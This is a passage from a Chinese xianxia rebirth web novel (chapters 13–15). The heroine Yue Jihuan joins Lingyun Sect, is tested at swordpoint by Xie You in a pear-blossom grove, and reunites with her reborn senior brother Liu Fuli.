玄意语调拔高哦了声,斜斜倚着:“风灵根是你们救回来的?手气不错。”
宋折镜:“......”
你二人别不是一个模子里刻出来的。
柳扶荔:“既然是救回来的才更有缘分,选人何谈什么避嫌不避嫌,折镜,是你狭隘了。”
宋折镜眉头微蹙,要说的话在口中来回转了几圈,他想把猜测岳寄欢身份一事捅给玄意和柳扶荔,不料还没开口,玄意却已经朝他二人抬手:“不必再说了,今年有两个异行灵根,总要分一个去别处,不论是别的宗门还是别的长老门下,我也只得收一个,而这是之后的事情,现在先把人带回去吧。”
此话一出,宋柳二人脸色都算不上好看。
岳寄欢伏在冰凉的地上,台上几人的对话虽然故意用了隔音符,但因着系统这个扩音法术的缘故,她听得一清二楚。
宋折镜怀疑她所以举荐拒霜的举动她可以理解,倒是柳扶荔,她这一世和对方也就见了第一面,也不知为何柳扶荔会为她说话。
疑虑与忧愁略略填满了她的心房,岳寄欢恍惚有种回到很久以前,那种满怀少女心事的感觉,这种充盈感涨得她胸腔发酸,很像轻蝶柔光,细细密密地扑朔在心尖上。
不过跪久了腿开始麻,岳寄欢刚想要偷偷挪一下腿,就听见玄意道:“你二人皆想拜入凌云宗也未尝不可,不过如谢宫主所言,我只能收一个徒弟,至于另一个得去别的长老门下。”
“若是介意,现在去别的宗门也很好。”玄意揉了揉眉心,“修仙界本就是一家,不必执着凌云宗。”
岳寄欢这回比拒霜反应快,她快速冲着玄意行礼:“弟子愿拜入凌云宗!”
她话落,拒霜却并未开口,谢芍问道:“拒霜?你也还愿意去凌云宗?真的
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不考虑考虑青鸾宫?别的宗门也不行?”
她语气冗杂着深切的疑惑和捉急,话落,又轻轻叹息。
寻仙山上各大宗门虽说抢人选人,可终归还算尊重被选者本身,若是对方实在不愿意,也不会强迫对方入了自己宗门。
且不说其他,若是真的抢起来,也就凌云宗同青鸾宫抢得过,遥香谷极其重视亲传弟子的灵根属类,岳辛二人一个风一个冰,着实不适合遥香谷,段裳裳也听段无瑕说了岳寄欢想入法修宗门的想法,因此便不和其他两大宗门去争了。
岳寄欢拜完礼后就一直耷拉着眼,跪在她前方的拒霜身姿更挺,而后侧头睨着她。
感受到对方略带打量的目光,岳寄欢自然没错过,抬起眼睛直冲对方而去。
映入眼帘的是一张苍白稚气的侧脸,拒霜的眼神很暗,眸子黑沉。她盯着岳寄欢,带着一股莫名的势在必得,盛气凌人。
不过她视线里终究没带什么敌意。
这样的眼神,岳寄欢隐约记得在哪里见过。
后者的目光还如蛇般缠绕在岳寄欢脸上,眼神随声音而动:“拒霜心意已决,也愿拜入凌云宗。”
刺心的视线从岳寄欢脸颊掠过,而后细腻地顺着她的脖颈,指尖,又转圜回脸上。
“至于能不能成为玄意师尊的弟子,我和她,各凭本事。”
尾调翘起,拒霜俯身拜下,这阵令岳寄欢说不出感觉的目光终于从她身上消失。
其他宗门也大差不差选好,见欢霜二人铁了心要去凌云宗,也只得感慨这凌云宗运气也颇好了些,一个两个都扒着缠着要去,他们也只得眼睁睁看着,总不能当土匪,强行把别人抢来自己宗门。
玄意见状,只能点头,他起身朝宋折镜和柳扶荔道:“剩下的人你们看着挑吧,我先回宗门一趟,准备之后的拜师大典。”
宋折镜应好,柳扶荔道师尊慢走。等玄意的身影消失在二人眼中,宋折镜才退后几步,隐到台后一些和柳扶荔并肩,他心绪混乱,却依旧面色不改,像是在谈些什么无关紧要的闲话:“今日不是因为师尊喊你你才来的吧。”
听见对方这么问,柳扶荔扯了扯唇:“为什么这么说?”
“你可不像会听师尊话的人。”宋折镜目视前方,直截了当,“你认识岳寄欢?”
两人都望着台下,不去看对方,脸色平静,语气同样平静。
“认识她...”柳扶荔一顿,他闭了闭眼,“折镜,没人不认识她。”
宋折镜有些摸不着头脑:“这小姑娘就算是我们救的,不过也没见几面,什么叫没人不认识?就算是异行灵根...”
他觉着柳扶荔今日奇怪,不论是对他的态度还是别的。甚至,后者在刚刚举荐之事上颇有和他针锋相对的意味。
宋折镜话还没说完,柳扶荔却已经拂袖转身而去,只扔下一句:“你接着选人吧,简林那边估计也挑了不少人,这里没我忙的,先走了。”
“扶...”宋折镜吐出一个字,却瞧见对面的谢忧朝他比了个手势,随即出了扶摇殿。
宋折镜止住了挽留,轻叹口气,心想接下来的事情还是走一步算一步罢了。
13. 扶荔
天场一轮测试已完,入选的人几乎都凑到了扶摇殿中,天场外反而没什么人了。
岳寄欢这批已经选完,她随着凌云宗的带队弟子一路从殿中去到殿后,扶摇殿后是一块极其空旷的地方,属于天场另一面。
岳寄欢捏着裙摆,跟着带队弟子乖乖站定在凌云宗所属的那块传送阵前,带队弟子扫了她和拒霜一眼,温声道:“你二人就在此待着,不要离开天场,等人齐了一同回宗门。”
二人应好,带队弟子见此便转身回殿。这会儿传送阵这边人不多,只有刚刚他们那一批十人而已,去到凌云宗的只有岳寄欢和拒霜两人。
见待在这里没什么有趣的,岳寄欢想着去天场别处转转,或者去找谢忧把三三要回来也好,只是刚要走,就听背后的人出声。
拒霜朝她微笑:“你是岳寄欢对吗,我是拒霜。”
岳寄欢闻言停顿,回身点点头:“是,我是岳寄欢。”
她说罢想要离开,却见拒霜依旧绽着笑,目光直直。岳寄欢紫色的衣裙在后者眼中倒映出一弯亮色,像一抹亮莹莹的月牙儿。
见状,岳寄欢只得错开对方的眼神:“我还有事情,先走了。”
她没有停留,退后几步,转身就走。
“岳寄欢。”拒霜又喊她名字,对方尾调带了点轻快与高昂,意味深长:“我们来日方长。”
岳寄欢脚步一顿,不再回头。
*
风前香软,春在梨花。
岳寄欢一路从天场后面绕到东边的鸣钟之下,鸣钟下有一片开满了各种花的花林,人少又安静,是个说话的好去处。
阳春三月,花林最近时兴开大片大片雪白的梨花,其中还夹杂着几株含苞欲放的粉樱,日头刚过,残阳斜铺,花影斑驳地流经路过的少女身上,她在花林间步子越走越快,一边伸手揪着身旁的叶子,一边问系统:“我总觉得拒霜的出现不只是为了填补上京城大选空缺,虽然她看起来对我没什么敌意。”
她语气迟疑:“甚至,有点儿兴奋?”
系统飞旋在枝桠间:“我也觉得。”
不会真因为拒霜这姑娘倒在第二次任务上吧。
岳寄欢心中杂乱,听见系统语气敷衍,她刚想问你除了附和我还会干嘛,却惊觉背后涌出一道陌生的目光。
意识到身后有人跟着,系统反应也快:“宿主,有人。”
“我知道。”岳寄欢低下头,走的越发快,这片花林位于天场最东边,鸣钟之下,又大又绕,若是常人绕进来怕是绕上好几圈也绕不出去。
她不确定背后跟着的人是谁,对方脚步又轻又快,在离她不远的地方一直跟着。花林没什么人,岳寄欢也没敢回头,怕惹急了身后之人,只能加快步子在花间反复绕,莲步生风。
记得花林前方的拐口再绕两圈出去便是天场边缘,那边挨着扶摇殿不算特别远,出去就有足够多的人。如果身后之人对她有敌意,那也有应对之策。
她这般想着,身后那人的脚步却是随她节奏而动,颇像故意溜着。
岳寄欢反应过来对方已经知道自己被发现了,干脆拎起裙摆就跑,身后人见她逃跑,跃步飞身而来。
感受到后背一阵疾风,岳寄欢侧身躲过,身子向后翻腾后跌,掌心握住旁边一弯低垂的梨花枝,堪堪稳住身形。
抬头,她眼中快速滑入一抹柔亮的青色,岳寄欢暗骂谢忧这个狗比,定是来试探她的。
她躲着对方毫不留情的剑光,抓着花枝飞旋在空中。
岳寄欢故意擦着剑身,不经心装躲不开,活脱脱一个手无寸铁、货真价实的小姑娘。
但偏偏谢忧这厮出剑又准又快,几番下来岳寄欢就算是傻子也知道对方是故意逗着她,剑尖几次下来都闪着她发间而过。
看见飘落在地的几缕发丝,岳寄欢被这种溜狗逗猫似的剑法惹得更加心烦气躁。
她彻底没了扮演弱者的心思,硬生生踩着梨花枝躲了几下,最后干脆提腿踹了树干一脚,梨花如细雪“嗤嗤”而落,谢忧被这片花迷了眼,如浮光掠影般腾空斩断了枝干,大束的花枝纷纷掉落在二人之间。
花剑同舞,岳寄欢躲闪不及,急步后退,她被谢忧带着身前一大丛白梨花枝用剑抵在树干上,梨花柔雅的香气氤氲着剑光扑到岳寄欢面颊处,断水剑在稀薄的日光下折射出柔和的流光,就斜在她脖颈,冰凉又锋利。
岳寄欢脊背猛然撞在粗糙的树干上,痛得她向前一个趔趄,脖颈堪堪擦过谢忧的剑,渗出一条微小极细的血珠串。
怎么,这剑上一次是救她,这次却想要杀她?
谢忧脸上没什么表情,只是漠然地盯着她脖颈渗血的地方看了一眼,随即就挪开了视线。
岳寄欢身前是少年带过来的大片断枝,隔着这丛茂盛白嫩的枝桠,她缓和着身上的疼痛,阖着眼皮倚靠在树干上。
半晌,岳寄欢微微仰头,冷冷盯着谢忧看了一会儿,嗤声道:“我竟不知谢仙君还有跟踪别人的兴致。”
“你不知道的事情还有很多。”谢忧稍微把横在对方脖颈上的剑拿开了点,嗓音清冷,“倒是岳姑娘,武功练得如此好,我竟也不知晓。”
“同你一样,我的事情你也知道不多。”岳寄欢回怼过去:“谢仙君有什么话就直说吧,你救我一命,有些事情不必弯弯绕绕。”
她实在懒得在对方面前装模作样,谢忧明显是怀疑她很深才会来试探,岳寄欢再演下去,怕是只能被这厮溜着玩儿了。
谢忧扬眉:“救你?我现在当真不知道救你是一出有意为之的戏,还是岳姑娘真真切切被妖怪追杀。”
“你既然这般想我,那便爱信不信,还有,三三呢?”岳寄欢脸色臭得要命,心里把谢忧这厮凌迟了千遍万遍,青鸾宫事情很少吗?值得他一天到晚抓着她舞刀弄枪严刑逼供。
这狗贼当真是同前世一般死性不改。
谢忧看着她:“信不信我自有判断。”
“罢了。”少年将剑从岳寄欢脖颈处收回,眼角余光扫到远处一颗树干后扬起的一抹橘红色衣角,“今日之事,若岳姑娘当真只是一介孤女,我日后定向你赔罪,至于三三,他暂且跟着我,你无需担心。”
他又使剑替岳寄欢挑掉衣袖上一片梨花白,捏回手中,嘴角带了点顽劣的笑:“不过若是些别的,或者岳姑娘生出些妖邪祸乱的心思...”
雪白的花瓣在谢忧指尖糅杂泛黄,他骨节分明的手很快撒开花瓣,任由这片梨花白穿过交错横斜的枝干,落到泥土深处。
“那下一次,”少年眉宇间笑意愈淡,“就别怪我没有手下留情了。”
...
直到谢忧消失在花林拐角,岳寄欢才扒开面前这丛雪白澈亮的梨花走出来。
花林繁茂,日头渐落。顾不得什么脸面,岳寄欢火气正盛,她揉着后背边走边怒斥:“这个疯子,两世了都阴魂不散,不仅把三三抓去当人质,还什么,什么祸乱心思,他也不瞧瞧今日天场来了多少小姑娘是扒着看他的,到底是谁一天到晚在祸乱修仙界,妖妃!还好意思对我一个现在才十来岁的小姑娘用剑,不要脸...”
她未骂完,耳边莫名传来“噗嗤”一声笑,岳寄欢头都没回,仍是向前走着。
身后的步子也不急,随她一步一动,等走到花林那个很好认的出口拐角处
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,岳寄欢顿住脚步,转身打量着跟了一路的人,没好气地问:“二师兄,看着我被那狗贼威胁,很好玩吗?”
她抱着臂,静静瞧着眼前一袭橘红衣裳的青年。
“师妹。”柳扶荔微微弯腰,伸手戳了戳岳寄欢脸颊,笑眯眯打招呼,“好久不见。”
岳寄欢一开始没有意识到柳扶荔也重生了。
她只是觉得柳扶荔替只见过一面的她说话很奇怪,思忖片刻,对方总不能是为了和宋折镜对着干,又或者因为她是异行灵根才帮她吧?
这种时候,系统终于有了一回合格的提醒:“宿主,我们不保证这个世界没有其他的人带着记忆重生,这是一个逆转时光的世界。”
岳寄欢一愣:“意思会有很多人带着记忆‘重生’吗?”
“这个不必担心。”系统说,“除你之外,能有一两个人想起来已经是极限了,对于这个世界绝大多数人来说,或许这辈子直到死亡,他们也不会想起来前世经历过的一分一毫。”
凑巧刚才柳扶荔躲在树后露出的衣角,不止谢忧看见,岳寄欢也看见了。
她几乎是一瞬就想到系统说的话,这么看下来柳扶荔带着记忆重生的概率很大,等到这会儿对方一直跟在自己身后,岳寄欢才真正确定,柳扶荔同她一样。
对方笑意晏晏的模样一点点在记忆中展露,那双莹亮的眼眸倒映出梨花与日光,岳寄欢刹那回神,却是扭头就走,柳扶荔急忙跑上来,凑到她身边:“师妹,不要生气了,原谅我行吗?”
他一双笑眼弯起来蛮软,眸下一枚小痣扎眼得紧,看向岳寄欢时,乍乍露出几分服软讨饶的意味。
岳寄欢冷笑:“我还以为师兄不稀得我的原谅呢。”
前世柳扶荔一声不吭就一刀了结了自己,岳寄欢心头那抹痛色和不甘如根深深扎进胸腔,柳扶荔的死使她心魔大乱,这对她来说和压死骆驼的最后一根稻草没两样。她几乎是带着满腔不知道对谁的怒恨强行撑到三界大乱的前一天晚上,最后自己还很窝囊的被人折磨死掉,撒气都没地方撒,憋屈地要命。
现如今听到柳扶荔和她道歉,岳寄欢生气又好笑,她就是单纯气不过对方以了结自己的方式离开,留她和三师姐孤零零守着仙游峰。
但转念一想,重生一世,对方又能看见和听见,这也很好。
岳寄欢心里拉扯了一顿,愈发走得急,步子愈发迈的大,像是要逃离出如梦魇一样的悲惨回忆。
梨花林的出口就在前方,不远处传送阵的光芒也在微弱地亮起,扶摇殿口的人已经逐渐减少,天场汇聚的人越来越多。
一路走到林口,映着西边透过来的红色霞光,风滚云舒,她猛地顿住脚步,侧头看着跟在身边一言不发的柳扶荔。
岳寄欢站在原地,不知道细瞧了面前的人多长时间。
等到日暮渐落,鸣钟敲响,她明明想要用弯眼一笑来了结上一世的一切,她什么都不想去过问了——
可不知道为什么,眼中莫名含了微不可察的、很薄的一潭泪。
她听见自己哽咽着说:“二师兄,新的世界,别再丢下我一个。”
岳寄欢在哭,看着,却又像笑了。
柳扶荔一怔,他的小师妹不爱哭,上一世,千百年来他就见对方哭过四次。
一次是小时候,她和青鸾宫那位在飞仙大会上打得两败俱伤,一个人提前溜回宗门,躲在房间里偷偷抹泪;之后是玄意战亡,还有一次是和宋折镜吵架,最后那次,是对方一个人跑到人间来接他回家。
柳扶荔的嘴唇嗫嚅了几下,想说的太多话都消融在口腔中,最后,他发现自己只能说出:“好。”
14. 针锋相对
扶摇殿中出来的人越来越多,各宗门的传送阵口都汇聚了人。
天逐渐暗下来,等岳寄欢回到属于凌云宗的那块传送阵前时,那里已经约莫站了十几个人左右,拒霜站在人群中间,笑意晏晏地和身旁的人搭话。
见岳寄欢朝这边走来,她拨开了人群,向来人笑了笑:“回来了?我半天瞧不见你。”
拒霜的语气很熟稔,像是在和熟人拉扯日常,岳寄欢甚至从中听出一种她很晚才回家,家里人招呼吃饭的诡异感。
出于礼貌,她点头嗯了声,眼神却是在天场众人间转了几圈,最后落到不远处站着的一高一矮两个身影上。
她正欲走,拒霜却上前一步,一把捏住了她的衣袖。
岳寄欢眉心一跳,回身看着面前的少女。
她比后者稍微高了那么一点儿,从岳寄欢的角度看,拒霜脸色很白,几乎是有点儿接近病态的苍白了,好在唇色很红润,眸子生得黑漆漆,便硬生生折掉了苍白折射出的病败感,只是身体看着稍微纤瘦羸弱了些,如皎花照水,像个弱柳扶风的病美人。
病美人一只手拉着她的衣袖不放,另一只纤细瘦白的手,指了指脖颈的位置。
岳寄欢下意识伸手摸了摸自己的脖颈,她低头一看,指尖上沾染了几片破碎的血块,刚刚谢忧那剑她划的不算深,只是血迹干涸了,在她纤长的脖颈上勾勒出一条细细的血痕。
她静默了一瞬,道:“谢谢。”
拒霜这才放开了她的衣袖:“我很好奇你刚刚发生了什么。”
“总不能是刚刚去和别人打了一架。”拒霜唇角微微挑起,“总不能是吧,嗯...还哭了?”
岳寄欢眼眶那点红还没完全消褪,听见对方这么问她,她抬着语调笑了声:“你是不是管的有点儿太多了。”
她眉眼明明弯着,眼中却一点儿笑意都没有。
如果熟悉岳寄欢的人看见她这样,一定能知道,她有些恼了。
拒霜也在笑,使得那双黑眸增添了几分稚气的灵动:“无论如何之后总归是同门,关心一下很正常。”
“同门,是吗?”岳寄欢不笑了,“那也是之后的事情。”
她朝不远处的段无瑕和大昭走去,将刚刚拒霜说过的话冷漠回抛:“不是才说过,我们来日方长。”
拒霜站在原地,沉沉盯着岳寄欢远去的背影,弯起的嘴角渐渐垂下,眼睛又恢复成一贯的黑漆阴冷。
大昭和段无瑕其实已经站在原地看了会儿岳寄欢和拒霜,大昭过了选拔到了天场后场,段无瑕也早早从扶摇殿中出来。
他二人看了好半天,大昭觉得岳寄欢和另一个异行灵根的小姑娘之间气氛怪怪的,但又说不出来是什么具体的氛围,最后,他只得求助段无瑕:“瑕瑕,你觉不觉得欢欢和那个小姑娘之间,啧,怎么说呢,有点儿奇怪。”
段无瑕点头称是:“我也觉得。”
“可能异行灵根的人性子都比较特殊吧。”大昭感叹了一声,“说不定这就是强者之间磁场不和呢。”
段无瑕疑惑地看了大昭一眼:“什么磁场不和?”
大昭一脸认真:“年龄不大,强者从小都是孤独的,王不见王吧。”
段无瑕:“......”来人把他屋子里那些龙傲天话本子给我扬了!
岳寄欢这个大昭口中“孤独的王”浑然不知发生了什么,她笑盈盈走到两人面前,瞄了眼大昭身后的传送阵,搭话:“大昭哥是进锻天门了吧。”
大昭挠了挠后脑勺:“对。”
他难得细心了一回,同样瞧见岳寄欢脖颈上的血痕,这条血痕其实才被岳寄欢擦过,不算明显,但偏偏她脖颈生得白,如此一条血痕再淡也扎眼。
大昭有些惊讶:“诶,诶!你受伤了,怎么搞的?”
段无瑕也看见了,她绕着岳寄欢走了一圈,伸手按了按她后背,状似无意地问,“小欢,怎么后背的衣服也刮破了一点,你刚刚去干嘛了?”
段无瑕指尖按的很巧,恰好按在她后背撞到树上的位置,岳寄欢估摸着她后背是擦伤了,段无瑕一按她就痛得想抖,最后还是硬生生忍住。
她顶着一张惨白同女鬼没区别的脸冲段无瑕道:“没事,刚刚去那边开花的林子里绕了一圈。”
岳寄欢假装腼腆地笑了笑,撒起谎来面不改色心不跳:“里面太绕了,这个时节花又开得茂,一时迷了眼,又不知道哪儿窜出来只野猫,我不小心被吓了一跳,摔了一跤。脖子被树枝划的,衣服大概是那个时候被勾破的吧。”
“我待会儿去换一件便好。”她摊了摊手,“没什么大事。”
或许是岳寄欢的表情看上去很真诚,完全不像是说谎的模样,大昭关心了两句,反正是没再追问。
段无瑕又来来回回扫了几眼,瞧着岳寄欢身上真的只有这两处伤痕,衣角也只沾染了几点花林那边的泥土。
不过,她盯着岳寄欢脖颈的伤反复看了好几遍,神情古怪地扭曲了一下,又偏头看看身边的大昭,还是什么都没说。
岳寄欢呼出一口气,就听身后传来传送阵开启的声音,天场之上,数十只不同纹样的传送阵凭空升起,在湛蓝的空中勾勒出光亮,发散出耀眼的光芒。
段无瑕:“你们先回宗门去吧,时间到了。”
她微微遮挡着眼睛,试图挡住法阵刺眼的光亮,大昭见状也作了个揖,往锻天门法阵的方向走:“今日时间紧,那我先走了,两位妹妹,有缘再见。”
段无瑕与岳寄欢皆是颔首。
等到大昭离开,岳寄欢也想和段无瑕道了再见走,段无瑕犹豫了片刻,还是在对方走的时候问了句:“刚刚真的没发生什么?”
“没有,什么都没发生。”岳寄欢背对着段无瑕往凌云宗的法阵去,她脚步匆忙,但还是扬声道,“无瑕,别担心了,之后见。”
“行,之后见。”段无瑕应了声,也转身离开。今年遥香谷收的弟子不算特别多,她随便扫了眼遥香谷法阵那儿站着的十来个人,便抬脚往扶摇殿里去。
段无瑕恰好在大殿门口碰上出来的段裳裳一行人,宋折镜柳扶荔几个小辈都在,三三被谢忧带着,谢芍桃莺莺她们一群长辈则是在后面一些,刚从殿中跨出来。
石阶上,谢忧和段裳裳正边走边低头说着什么。
段无瑕快速扫视了几人一个来回,最后把视线放到了段裳裳和谢忧身上。
她眯着眼,三两步迈上石阶,望着面前的两人挑了挑眉:“你们干嘛呢?”
段无瑕声音不算小,语气里带了些质问的意思,谢忧把一只天青色的小瓷瓶塞进衣袖里,拧眉看向面前说话呛人的黄衣少女。
段裳裳淡淡道:“少宫主找我拿些药,你去哪里了,无瑕。”
段无瑕盯着谢忧的衣袖没动,回了裳裳一句:“没去哪儿,找小欢去了。”
听见这声“小欢”,谢忧蹙着眉,旁边的宋折镜也顿住脚步,几道心思各异的目光接连落到段无瑕身上,她岿然不动,当众问谢忧:“你受伤了?”
“没有。”谢忧瞥了眼段无瑕,“你堵这儿就是想问这个?”
段无瑕叉着腰,说话都理直气壮:“那你找她拿药干什么。”
谢忧抿唇:“以防万一。”
段无瑕:“......”你在骗鬼呢?
宋折镜刚要开口,旁边的柳扶荔却先他一步,懒散得不行:“无瑕,仲玉这药是替大家备着呢。”
他眼里含了点似有若无的笑,漂亮的眼珠在众人脸上转了一圈,余光睨着谢忧:“我不是听说他最近特别喜欢乐于助人吗?保不齐有谁哪天受伤了,唔,比如被剑不小心伤到什么的,是吧?不用千里迢迢跑到遥香谷去,找仲玉拿药就行。”
谢忧:“......”这柳扶荔今日吃馊饭了?又搞跟踪又呛他。<
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p>几个人之间暗流涌动,仿佛单独开了一个剑拔弩张的屏蔽场,将他人隔绝在外。
段无瑕眼神飘忽,怀疑的目光在谢忧身上转圜了好几遭,又不经意瞟着他手里的断水剑;柳扶荔脸上依旧挂着那副漫不经心的笑;谢忧则是瘫着一张冷脸,拽着三三衣袖,什么也不说。
几人间形成一种怪异的对峙,宋折镜站在旁边盯了他们好几秒。他心知刚才挑选弟子时,谢忧出殿是去试探岳寄欢了。
不过宋折镜很好奇到底发生了什么,段无瑕和柳扶荔应该也知道点刚刚发生的事情,表情一个比一个奇怪,活像吃了隔夜饭。
他寻思着他应该找个机会从这几人嘴里撬点什么东西出来。
段裳裳和三三显然是一副茫然的模样,她和宋折镜交换了一下眼神,试图打破这个骇人的气氛:“好了,都别愣在门口了,嗯,晚上不是还要推牌九?”
她求救一样看了眼柳扶荔:“你不是特别想玩吗,对吗?”
她又看着宋折镜:“对吗?”
宋折镜:“......对吧。”
宋折镜被她这眼看得一阵心虚,柳扶荔很给面子,顺着段裳裳的台阶下:“是啊,不过改天晚上吧。”
他站在比众人高一阶的石梯上,一只手虚虚搭着宋折镜肩膀,姿态优雅,下巴微抬:“人齐才好玩,我等着新师妹,带她一起。”
柳扶荔咬这个“新”字咬的模糊至极,颇有种掩耳盗铃的感觉。今日扶摇殿内他和宋折镜两人朝玄意互推师妹的事情大家都心知肚明,于是这会儿,众人一时间听着这字竟有点像“岳”,脸色各有各的精彩。
这话说完,宋折镜偏头瞧了他一眼,眼睛里夹杂着一种很难言说的复杂情绪。
柳扶荔无视了这道刺人的目光。对上这双熟悉的眼,他语气带上些挑衅,故意问道:“你不期待新来的师妹吗?折镜。反正我和若水很期待,她现在正待在仙游峰眼巴巴等呢。”
他说话时头微微侧着,耳垂上那枚长长的红珠流苏坠子一晃一晃,几乎要撞到宋折镜眼睫上。
宋折镜无可奈何地垂下眼皮,漫不经心道:“行,挺期待的。”
段无瑕睁圆眼睛,巡逻一样来回看着这几个说话半真半假的少年,听见柳扶荔提了句“若水”,她有些费力地把自己从这种尴尬的氛围里抽离,问道:“单师姐好些了吗?”
宋折镜代替柳扶荔回答了这个问题:“三师妹好的差不多了,只是一直修养着,这次没放心让她来,过几天你就能见到她了。”
他说这话时,众人的目光很一致地转开了,默契到令人害怕。谢忧望着法阵微微出神,柳扶荔拿开了搭在他肩膀上的手,段无瑕低着头不知道在想什么,段裳裳,她垂着眼,目光落在面前低头的段无瑕身上。
宋折镜在心里默默叹息,谢芍和桃莺莺这群长辈也走到了殿口,桃莺莺含着笑:“这群孩子堵在门口干嘛呢,怎么了?又想比划比划打群架?”
她余光扫了眼站在自己身旁的粉裙少女,像是不经意地问了句:“苍灵,你最近没和别人起争斗吧?”
叶苍灵呵了声,有些阴阳怪气:“我最近正常的很。”
言下之意,便是面前这几位脑子有病了。
众人被这位不常露面的叶师妹呛得一哽,又听谢芍冷漠道:“群架?指那种把几个宗门都砸了个稀巴烂,顺手毁了天场,还祸害了无辜的人的群架?”
闻霄站在旁边听着,闷闷笑了一声。
远在仙游峰的单若水莫名打了几个喷嚏,她揉了揉鼻尖,站在峰顶处迎着日落,遥遥看向天场的方向。
众人:“......”
一些不好的回忆涌上心头,众人脸上都爬上一种诡异的菜色,那种针尖对麦芒的火气被谢芍几人击溃得一塌糊涂,最后还是宋折镜勉强扯扯嘴角:“谢师姑玩笑了,我们就是聊聊天,都走吧,接下来事情还很多。”
15. 双生
夕阳悬高树,薄暮入青峰。
忙完天场选拔之事已是傍晚,暮景残光,紫霞姝红逐渐沿着天边卷席整个寻仙山,各大宗门的传送法阵开启后随之熄灭,天场上只剩了几盏还亮着,一盏是青鸾宫,一盏是凌云宗。
两个宗门的法阵离得不算远,隔着一小段距离,岳寄欢站在光亮腾飞的法阵里,余光看着对面牵着谢忧手的三三。
谢忧察觉到了这道偷看他们这边的目光,向岳寄欢抬起眼。
三三也感觉到了,朝着岳寄欢甜甜一笑。
岳寄欢倒也没有什么被发现的窘迫,她没躲,反而弯起眉眼。
当然,这笑是冲着三三。
望着对她展开笑颜的,这个瘦骨嶙峋的小孩,岳寄欢微微怔神。
她刚才在花林里和柳扶荔谈过,想请他去把三三要回来,心想,虽然谢忧也不会对三三做什么,但她现在和对方关系紧张,三三一个小姑娘还是跟着自己放心些。
柳扶荔却和她说:“三三一时半会儿是回不来了。”
岳寄欢疑惑地问:“什么叫回不来了?”
柳扶荔:“你们的事情我听说了,你不觉得这孩子出现的很奇怪吗?”
岳寄欢点点头,拧着秀气的眉毛:“是,是奇怪,不过这和她回不回得来有什么关系,怎么,狗贼要把她移送问肃堂啊?”
问肃堂是寻仙山上评判调查修仙界大事小务的公堂,和人间的刑部职能很像,轻则审判处理,重则严刑逼供。岳寄欢默默想,谢忧再怎样,应该也不至于畜生到把三三一个来历不明的小孩儿直接送进去吧。
柳扶荔似是看出了她的想法,轻笑了一声:“谢忧不会对那孩子怎么样的。”
“谁知道呢。”岳寄欢没好气地说,她语气难得带了点儿和别人告状的委屈意思,身上那种稚气愈发明显,“他刚刚还拿三三威胁我。”
柳扶荔没回答,脸上忍不住地带上笑:“师妹,缩小版的你还是这样讲话比较可爱。”
岳寄欢瞪了他一眼,不自在地岔回刚才的话题:“那三三怎么办?”
柳扶荔脸上很快没了笑意,他扭头静静看着花林远处,那里有法阵勾勒出的光芒,拨开光芒再往外走,是一行人救回岳寄欢的寻仙山下羡水城,一路向西,有繁华富饶的上京城,碧水轻舟的丹荷之地,孤烟直上的迷陇大漠,再继续沿着一条贯穿人仙两界的漫漫长河走好久,那里是终年飘落雨雪的边沿小城,小城驻守着魄雪山涧,日复一日,年复一年。
他舔了舔干涩的嘴唇,停顿了一会儿:“怎么办?已经查清楚了,三三那小孩儿是素金城祝家的孩子。”
素金城就是魄雪山涧周围那些小城里的一座。
那里终年落雪,腊梅常开。
祝家主家碧凌山庄其实是坐落在丹荷,属于少有的不在寻仙山上的门派,不过主家派出的其中一支分支,就去到了素金城。
岳寄欢上一世同祝家打交道不多,她只见过丹荷主家的庄主,同那边联手除过几次妖,至于那时候应该还在素金城的三三,她从未见过。
柳扶荔见她脸色不好看,又道:“这孩子还有个姐姐,下落不明。”
岳寄欢:“我听三三说过,好像是...死了?”
柳扶荔:“总得活要见人死要见尸,还算值得庆幸的是,事发后,那里并没有找到她的踪影,很可能还活着。”
岳寄欢沉闷闷地嗯了声,柳扶荔也算是隶属问肃堂中的一位,知道的事情比她多得多,素金城那边起了大乱,牺牲掉了一些修仙者和捉妖人,祝家分支就是其中之一,由于那边距江湖上是实在是远,又有人故意压消息,这种事情这时才姗姗来迟,传到岳寄欢他们的耳朵里。
柳扶荔又说:“已经通知丹荷那边了,三三他现在还不知道这件事,过段时间祝家家主会亲自来接他回主家,等着忙完素金城那边的事情,大概一年之内。他家这辈只有他和他姐姐,想来祝家的人以后待他必然不会差,还有,谢忧这段时间会随时带着他来凌云宗小住,丹荷那边的人有些事情要问你。”
“对了,说起来谢忧还有折镜,”柳扶荔头疼地按了按眉梢,“也不知这一世发的哪门子疯,现在尤其怀疑你,至于那个冰灵根的小姑娘,我完全没有印象。”
岳寄欢无所谓道:“很正常,不怀疑我反而才有鬼呢,毕竟我重生一路过来太莽撞了,至于拒霜,就同她说的一样,各凭本事吧。”
大概是岳寄欢的语气太过平和。
柳扶荔宁静地看了她片刻,安抚般伸手摸了摸她的脑袋。他修长漂亮的手一点点替岳寄欢揽开遮住眉眼的发丝,低声道:“没事的,师妹,有我在。”
岳寄欢抬起眼,冲他一笑:“我不会输的。”
......
众人不断离开,青鸾宫的法阵也随之熄灭,大风飞扬,逐渐聚拢向凌云宗法阵,形成一道旋转的光束。岳寄欢站在法阵里最角落的位置,阵内只有一个带队弟子和他们这几个新收的弟子。宋折镜柳扶荔,还有简林,他们单独御剑回去。至于刚刚谢忧也站在法阵内,应该是因为要带着三三的缘故。
相比于御剑,使用法阵回到宗门就快上许多。不过一转眼的时间,光亮如水般拂过眼上,岳寄欢被这道几乎覆盖全身的亮裹挟其中,再睁眼时,月上柳梢,她已经站在了凌云宗长阶口,有人虚虚拉着她的衣袖。
拒霜拽着她,脸色发苦:“不介意吧,光太亮了,刺得我发晕。”
岳寄欢摇摇头:“实在晕就拉着吧。”
虽说她现在和拒霜勉强能称得上竞争对手,但也只不过是为了拜入师门一事上。正如对方所说大家也算是同门,抛开拜师这点子因素,她至少能和拒霜成为关系正常的同门。
岳寄欢任由拒霜搭着她,抬头看向前方。
带队弟子不是一开始送岳寄欢她们出扶摇殿去天场后场的那个,是另一个负责记录弟子信息的,岳寄欢略略眼熟,是另一位长老门下的,好像姓高,性子跳脱得很,称得上宗门万事通。
这位万事通高师兄像个承接小孩游玩的向导,脸上始终保持着和煦的微笑,面对好奇的众人,他翘起拇指指了指身后:“师弟师妹们,我们现在到达宗门门口了哦。”
有性子同样跳脱的人,笑嘻嘻问:“师兄,月亮都快晒屁股了,我们现在是不是该回宗门睡觉了。”
高师兄依旧微笑:“是啊,天黑了,我确实该回去睡觉了。”
有人抠他字眼:“师兄,是我们。”
高弄舒不太赞同地笑了笑:“不对,是我。”
